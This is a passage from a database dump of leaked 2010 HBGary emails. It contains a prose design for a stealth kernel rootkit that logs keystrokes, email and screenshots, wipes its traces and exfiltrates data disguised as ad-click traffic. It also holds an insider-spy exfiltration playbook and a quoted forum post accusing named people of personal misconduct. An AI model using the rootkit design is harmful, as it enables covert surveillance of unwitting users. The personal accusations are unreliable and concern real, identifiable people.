technologies developed for the government.Dimensions:(A)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;Exploration&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; a.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nData Storesb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPassive network monitoringc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAdvertised network sharesd.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReferences to\r\norganization data repositories within documentsh.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Communications with other groups inside the companyi.	&nbsp;Use of corporate social media and collaboration technologies(B)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;Analysis of Data (identified\r\nin A) for information of interesta.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIterative walk of\r\nthe file system (index)b.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIdentify information of interest within filesc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIdentify relevant\r\nfile attributesd.	Develop&nbsp;Corporate link analysise.	Develop&nbsp;Project to employee trees(C)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;Collectiona.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPull relevant data and files back to hostb.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Cut and Paste information from accessed files or emails.c.	Asking for people to send them digital copies of presentationsd. &nbsp; &nbsp; &nbsp; Saving corporate communications(D)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;Prepare documents for exfiltrationa.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPerform finer grain analysis for information of interestb.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Encode documents\r\nfor transmissionc.	Store information in email or remotely accessible filesysteme.	(E)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;Exfiltrate informationa.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPhysically walk\r\ndata off premisesb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTransmit documents\r\nto external system&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\ni.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWeb/HTTP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nii.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nE-mailc.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Access files through VPN or remote email client.d.	Put information on removable media(F)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAvoid detection to\r\npermit continued mission operationa.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSurveillance\r\nDetection Routine (SDR)b.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIntentional\r\nself-throttling of activities used in pursuing other tasksc.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Looking for monitoring and security capabilities within the company.\r\n\r\n\r\n\r\n\r\n',15955,'aaron_hbgary_com/15955.html'),(11896,'2010-09-17','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008879.M477943P14101Q6751.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: Mission','\r\nOn Thu, Sep 16, 2010 at 6:24 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nOK Guys,\r\n\r\nI think I can write most of this but I need help on developing the monitor on the box that collects all of the behavioral information and then develops statistical norms across the enterprise as well as for the individual.  So you have all these boxes with a rootkit monitoring file access, email communications, IM traffic.   You develop norms for the organization, probably even more detailed by functional groups or sub-organizations (HR people have different patterns than developers).\r\n\r\n\r\nYou bring all that data back to a central location and then flag when activity falls out of the norm by some amount over some time period.\r\n\r\nGreg:  Please write about the technical details of the rootkit and what it can collect about all the different dimensions below and how it can collect and store the metadata on these dimensions so we can do statistical analysis for normal and abnormal behavior.\r\n\r\n \r\nThe rootkit loads as a stealth kernel-mode base implant, which will consist of the basic driver framework and installation and removal program.  Development will include an initial implant test harness. The rootkit will collect select file access, process execution with parameters, email communications, keyboard activity with a time/date stamp, network/TDI activity (and the actual network data if appropriate), and IM traffic. If detailed surveillance is required, it can be enabled to capture screenshots and construct a video stream. All traces of the rootkit installation will be removed after the initial deployment (event log, etc).  Collected data will be exfiltrated over a covecoms channel to a controlling server.  Communication outbound to the controlling server will emulate outbound HTTP browsing, and if possible will be burst transmitted at the same time as the user is browsing the web or using some other messaging or social media application.  The outbound burst will be formatted to resemble an ad-click or some other appropriate subterfuge.\r\n\r\nComs encryption details: Rootkit implant communications will be based on a secure cryptographic algorithm to encrypt data to and from a controlling server.  The controlling server will utilize a private key to encrypt data to the implant and the implant will verify incoming commands by checking the encryption signature against the corresponding public key.  The implant will generate a new public/private key pair with each connected session to the controlling server and use that key to encrypt outbound data.\r\n\r\n \r\nScreen capture and stream details: Rootkit will be able to capture the current desktop screen in a standard image format (like JPG/PNG/BMP).  Also, the rootkit will be able to take sequential screenshots and stream them to form a screen capture video.  Each screen frame will be compared to the previous frame and only changed pixels will be encoded and sent.  Periodically a full screen frame will be sent to provide the ability to seek and synchronize viewing from any point in the timeline.  Resulting frames will be compressed prior to sending to the controlling server.\r\n\r\n \r\nNote: none of the above is really that ground breaking, its all been done with rootkits before\r\n \r\nNote: i was going to suggest we create a pattern recognition system here, and attempt to detect when the user deviates from normal behavior - however, i don&#39;t actually think that will work in practice - it will have too many false positives - also, mudge indicated they were skeptical of those systems from failures in past experience\r\n\r\n \r\n \r\n \r\n\r\n\r\nMark/Ted: Look at what I have identified as Dimensions and make recommendations on what is stupid or what I have missed.\r\n\r\nAaron:  I will write the overall context of the insiders behavior, what we will look to correlate across the organization.\r\n\r\n-------------------------\r\nMission: Recruited Spy in Defense Contractor ACME wants to remain as employee while continuously identifying, gaining access, collecting, and exfiltrating information on the companies contracts with the government as well as its IP on technologies developed for the government. \r\n\r\nDimensions:\r\n\r\n(A)           Exploration      \r\n\r\na.               Data Stores\r\n\r\nb.              Passive network monitoring\r\n\r\nc.               Advertised network shares\r\n\r\nd.              References to organization data repositories within documents\r\n\r\nh.             Communications with other groups inside the company\r\n\r\ni.  Use of corporate social media and collaboration technologies\r\n\r\n(B)            Analysis of Data (identified in A) for information of interest\r\n\r\na.               Iterative walk of the file system (index)\r\n\r\nb.              Identify information of interest within files\r\n\r\nc.               Identify relevant file attributes\r\n\r\nd. Develop Corporate link analysis\r\n\r\ne. Develop Project to employee trees\r\n\r\n(C)            Collection\r\n\r\na.               Pull relevant data and files back to host\r\n\r\nb.              Cut and Paste information from accessed files or emails.\r\n\r\nc. Asking for people to send them digital copies of presentations\r\n\r\nd.       Saving corporate communications\r\n\r\n(D)           Prepare documents for exfiltration\r\n\r\na.               Perform finer grain analysis for information of interest\r\n\r\nb.              Encode documents for transmission\r\n\r\nc. Store information in email or remotely accessible filesystem\r\n\r\ne. \r\n\r\n(E)            Exfiltrate information\r\n\r\na.               Physically walk data off premises\r\n\r\nb.              Transmit documents to external system\r\n\r\n                                          i.                   Web/HTTP\r\n\r\n                                        ii.                   E-mail\r\n\r\nc.              Access files through VPN or remote email client.\r\n\r\nd. Put information on removable media\r\n\r\n(F)           Avoid detection to permit continued mission operation\r\n\r\na.               Surveillance Detection Routine (SDR)\r\n\r\nb.              Intentional self-throttling of activities used in pursuing other tasks\r\n\r\nc.              Looking for monitoring and security capabilities within the company.\r\n\r\n',354,'aaron_hbgary_com/354.html'),(11897,'2010-09-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008879.M700615P14101Q6752.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','Re: Mission','Agreed nothing really ground breaking from what you can collect through a rootkit. &nbsp;Its taking all that data and looking at what it can tell you about the person and what he/she is doing and what their intentions are.Can we develop a DDNA type scoring for risk behavior? &nbsp;So person does X and X and X and X ===== threat score of 95%.I like the paranoia meter. &nbsp;Screen grabs, mouse and keyboard traffic. &nbsp;Does someone act different when they are reviewing a document for corporate resaons then when they do it for espionage reasons? &nbsp;Do they make different facial expressions, different eye movements? &nbsp;What human factors from everything that we collect can we analyze?I think you need to do some level of pattern matching combined with maybe the human factor analysis?AaronOn Sep 16, 2010, at 9:57 PM, Greg Hoglund wrote:\r\nOn Thu, Sep 16, 2010 at 6:24 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nOK Guys,\r\n\r\nI think I can write most of this but I need help on developing the monitor on the box that collects all of the behavioral information and then develops statistical norms across the enterprise as well as for the individual. &nbsp;So you have all these boxes with a rootkit monitoring file access, email communications, IM traffic. &nbsp; You develop norms for the organization, probably even more detailed by functional groups or sub-organizations (HR people have different patterns than developers).\r\n\r\n\r\nYou bring all that data back to a central location and then flag when activity falls out of the norm by some amount over some time period.\r\n\r\nGreg: &nbsp;Please write about the technical details of the rootkit and what it can collect about all the different dimensions below and how it can collect and store the metadata on these dimensions so we can do statistical analysis for normal and abnormal behavior.\r\n\r\n&nbsp;\r\nThe rootkit loads as a stealth kernel-mode base implant, which will consist of the basic driver framework and installation and removal program.&nbsp; Development will include&nbsp;an initial implant test harness. The rootkit will collect&nbsp;select file access, process execution with parameters, email communications, keyboard activity with a time/date stamp, network/TDI activity (and the actual network data if appropriate), and IM traffic. If detailed surveillance is required, it can be enabled to capture screenshots and construct a video stream. All traces of the&nbsp;rootkit installation will be removed after the initial deployment (event log, etc).&nbsp; Collected data will be exfiltrated over a covecoms channel to a controlling server.&nbsp; Communication outbound to the controlling server will emulate outbound HTTP browsing, and if possible will be burst transmitted at the same time as the user is browsing the web or using some other messaging or social media application.&nbsp; The outbound burst will be formatted to resemble an ad-click or some other appropriate subterfuge.\r\n\r\nComs encryption details: Rootkit implant communications will be based on a secure cryptographic algorithm to encrypt data to and from a controlling server.&nbsp; The controlling server will utilize a private key to encrypt data to the implant and the implant will verify incoming commands by checking the encryption signature against the corresponding public key.&nbsp; The implant will generate a new public/private key pair with each connected session to the controlling server and use that key to encrypt outbound data.\r\n\r\n&nbsp;\r\nScreen capture and stream details: Rootkit will be able to capture the current desktop screen in a standard image format (like JPG/PNG/BMP).&nbsp; Also,&nbsp;the rootkit will be able&nbsp;to take sequential screenshots and stream them to form a screen capture video.&nbsp; Each screen frame will be compared to the previous frame and only changed pixels will be encoded and sent.&nbsp; Periodically a full screen frame will be sent to provide the ability to seek and synchronize viewing from any point in the timeline.&nbsp; Resulting frames will be compressed prior to sending to the controlling server.\r\n\r\n&nbsp;\r\nNote: none of the above is really that ground breaking, its all been done with rootkits before\r\n&nbsp;\r\nNote: i was going to suggest we create a pattern recognition system here, and attempt to detect when the user deviates from normal behavior - however, i don\'t actually think that will work in practice - it will have too many false positives - also, mudge indicated they were skeptical of those systems from failures in past experience\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nMark/Ted: Look at what I have identified as Dimensions and make recommendations on what is stupid or what I have missed.\r\n\r\nAaron: &nbsp;I will write the overall context of the insiders behavior, what we will look to correlate across the organization.\r\n\r\n-------------------------\r\nMission: Recruited Spy in Defense Contractor ACME wants to remain as employee while continuously identifying, gaining access, collecting, and exfiltrating information on the companies contracts with the government as well as its IP on technologies developed for the government. \r\n\r\nDimensions:\r\n\r\n(A)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Exploration&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Data Stores\r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Passive network monitoring\r\n\r\nc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Advertised network shares\r\n\r\nd.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; References to organization data repositories within documents\r\n\r\nh.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Communications with other groups inside the company\r\n\r\ni. &nbsp;Use of corporate social media and collaboration technologies\r\n\r\n(B)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Analysis of Data (identified in A) for information of interest\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Iterative walk of the file system (index)\r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Identify information of interest within files\r\n\r\nc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Identify relevant file attributes\r\n\r\nd. Develop&nbsp;Corporate link analysis\r\n\r\ne. Develop&nbsp;Project to employee trees\r\n\r\n(C)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Collection\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pull relevant data and files back to host\r\n\r\nb.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Cut and Paste information from accessed files or emails.\r\n\r\nc. Asking for people to send them digital copies of presentations\r\n\r\nd. &nbsp; &nbsp; &nbsp; Saving corporate communications\r\n\r\n(D)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Prepare documents for exfiltration\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Perform finer grain analysis for information of interest\r\n\r\nb.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Encode documents for transmission\r\n\r\nc. Store information in email or remotely accessible filesystem\r\n\r\ne. \r\n\r\n(E)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Exfiltrate information\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Physically walk data off premises\r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Transmit documents to external system\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Web/HTTP\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ii.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; E-mail\r\n\r\nc.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Access files through VPN or remote email client.\r\n\r\nd. Put information on removable media\r\n\r\n(F)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Avoid detection to permit continued mission operation\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Surveillance Detection Routine (SDR)\r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Intentional self-throttling of activities used in pursuing other tasks\r\n\r\nc.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Looking for monitoring and security capabilities within the company.\r\n\r\n',10800,'aaron_hbgary_com/10800.html'),(11898,'2010-09-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008880.M274132P14101Q6753.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Here is where I am going so far','Just slapping a bunch of information down, I will pretty it up later.\r\n\r\n',14751,'aaron_hbgary_com/14751.html'),(11899,'2010-09-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008880.M508711P14101Q6754.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Crux of the solution?','pattern matching or behavioral threshold setting\r\ndata tagging\r\nabnormal human factor monitoring',5467,'aaron_hbgary_com/5467.html'),(11900,'2010-09-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008880.M707238P14101Q6755.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','you are the graphics king','anything pop out of your head.\r\n\r\nRemember this is just to get us to the next phase, so doesn\'t have to be perfect, just peak his interest.\r\n\r\nAaron',8623,'aaron_hbgary_com/8623.html'),(11901,'2010-09-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008881.M178467P14101Q6756.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','New file','\r\n',10470,'aaron_hbgary_com/10470.html'),(11902,'2010-09-17','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008881.M533571P14101Q6757.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: you are the graphics king','\r\nOn Thu, Sep 16, 2010 at 7:31 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nanything pop out of your head.Remember this is just to get us to the next phase, so doesn&#39;t have to be perfect, just peak his interest.\r\nAaron\r\n',3265,'aaron_hbgary_com/3265.html'),(11903,'2010-09-17','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297008882.M320173P14101Q6759.eml','\"Barr Aaron\" <aaron@hbgary.com>','Ubuntu May \'See\' and React to the Physical World - Yahoo! News','http://news.yahoo.com/s/pcworld/20100917/tc_pcworld/ubuntumayseeandreacttothephysicalworld\r\n\r\n\r\nThis kind of tech could have application on the paranoia meter...\r\n',11738,'aaron_hbgary_com/11738.html'),(11904,'2010-09-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008882.M38651P14101Q6758.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','CINDER DOC','I am getting really groggy so getting some sleep and getting up early to finish it up.\r\n\r\nTed can you please look at this and the requirements in the BAA and put it in the right format as well as read what we have so far for consistency, stupidity, etc.\r\n\r\nAaron\r\n\r\n',5346,'aaron_hbgary_com/5346.html'),(11905,'2010-09-17','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297008882.M567496P14101Q6760.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,aaron@hbgary.com,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,\"Newbern, Dave (TASC)\" <DAVID.NEWBERN@tasc.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>','Re: Discuss ManTech as potential team mate for ROMAS','\r\n\r\n\r\n\r\n\r\nDiscuss ManTech as potential team mate for ROMAS\r\n\r\n\r\nChrisCan\'t be there, I will be staring at old faithful tomorrow at yellowstone about that time. I think mantech is a good add for the infrastructure and other concerns we have discussed. I called justin today but did not hear back. Feel free to try as well. Don\'t delay any discussion with them on my account.&nbsp;\r\n\r\n\r\nFrom: Clair, Chris (TASC)Sent: Thursday, September 16, 2010 12:44 PMTo: \'Aaron Barr\' &lt;aaron@hbgary.com&gt;; Garcia, Kathy (TASC); Newbern, Dave (TASC); Lovegrove, John (TASC); Brunst Jr, Gerald R (TASC)Subject: Discuss ManTech as potential team mate for ROMAS&nbsp;\r\n\r\n\r\n\r\nWhen: Friday, September 17, 2010 10:30 AM-11:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF3, 3c\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\nNotice new conference room \r\n\r\n\r\n',7723,'aaron_hbgary_com/7723.html'),(11906,'2010-09-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008882.M787210P14101Q6761.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,,,','Re: Discuss ManTech as potential team mate for ROMAS','Ohhhhh.....Very envious.  Have a great time.El capitan is close.  Give it a climb!AaronSent from my iPhone\r\nOn Sep 17, 2010, at 12:58 AM, &quot;Lovegrove, John (TASC)&quot; &lt;John.Lovegrove@tasc.com&gt; wrote:\r\n\r\nChrisCan&#39;t be there, I will be staring at old faithful tomorrow at yellowstone about that time. I think mantech is a good add for the infrastructure and other concerns we have discussed. I called justin today but did not hear back. Feel free to try as well. Don&#39;t delay any discussion with them on my account.\r\n \r\n\r\n\r\nFrom: Clair, Chris (TASC)\r\nSent: Thursday, September 16, 2010 12:44 PMTo: &#39;Aaron Barr&#39; &lt;aaron@hbgary.com&gt;; Garcia, Kathy (TASC); Newbern, Dave (TASC); Lovegrove, John (TASC); Brunst Jr, Gerald R (TASC)\r\nSubject: Discuss ManTech as potential team mate for ROMAS\r\n \r\n\r\n\r\n\r\nWhen: Friday, September 17, 2010 10:30 AM-11:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF3, 3c\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\nNotice new conference room \r\n\r\n\r\n\r\n',8978,'aaron_hbgary_com/8978.html'),(11907,'2010-09-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008882.M988781P14101Q6762.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: got to love the internet....','wow I did a search on this topic. &nbsp;She posted the same content EVERWHERE.... that hurts a little. &nbsp;Doesn\'t do much for her either though.On Sep 16, 2010, at 7:47 PM, Greg Hoglund wrote:I found this post while looking for cyber attack data...\r\n&nbsp;\r\n&nbsp;\r\nsnip --&gt;\r\n&nbsp;\r\nDavid Freer (VP, Symantec - Norton, APJ) is a BIG LIAR!by strelaoz yin (View MyPage) on Apr 27, 2010 09:11 PM &nbsp;| Hide replies\r\nDavid Freer (VP, Symantec Consumer Business Units - Norton, APJ) is a BIG LIAR! He lied to me for more than two and half years for my true feelings, time, and money. Also kept saying I am the only one in his life. Even this year on Feb. 2, he used company line to lead me to have phone sex with him. Until I found out there’s some other woman, he made up another lie and finally admitted he’s been living with her for a year. Later, I realized they were all lies. He actually has married March 2009. And now he just totally disappeared and not answering any phone calls, acting like “hit &amp; run” irresponsible baby. Can you trust someone like this, with no ethics and integrity? The more unbelievable things are David Freer newly-wed wife - SUZY WALSHAM, she shamefully admitted she was the third person who broke up David Freer &amp; his ex 12 years relationships, and mocking at me as the 3rd \\\"unsuspected\\\" person, as she agreed with his husband’s behaviors!!!!!! SHAME ON both of you, DAVID FREER &amp; SUZY WALSHAM!!!!!!! (THEY BOTH WORK FOR SYMANTEC)\r\n\r\n&nbsp;\r\nHere is the link: http://business.rediff.com/slide-show/2010/apr/27/slide-show-1-tech-hacking-top-10-countries.htm\r\n\r\n&nbsp;\r\nlol\r\n',774,'aaron_hbgary_com/774.html'),(11908,'2010-09-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008883.M187345P14101Q6763.eml','\"Ted Vera\" <ted@hbgary.com>','txt poptop to 90210','',14536,'aaron_hbgary_com/14536.html'),(11909,'2010-09-17','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297008883.M411916P14101Q6764.eml','\"Aaron Barr\" <aaron@hbgary.com>','NeuralIQ','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWhat do you know about these\r\nguys/technology (link below)? \r\n\r\n&nbsp;\r\n\r\nCheck in when you can so we\r\ncan discuss upcoming 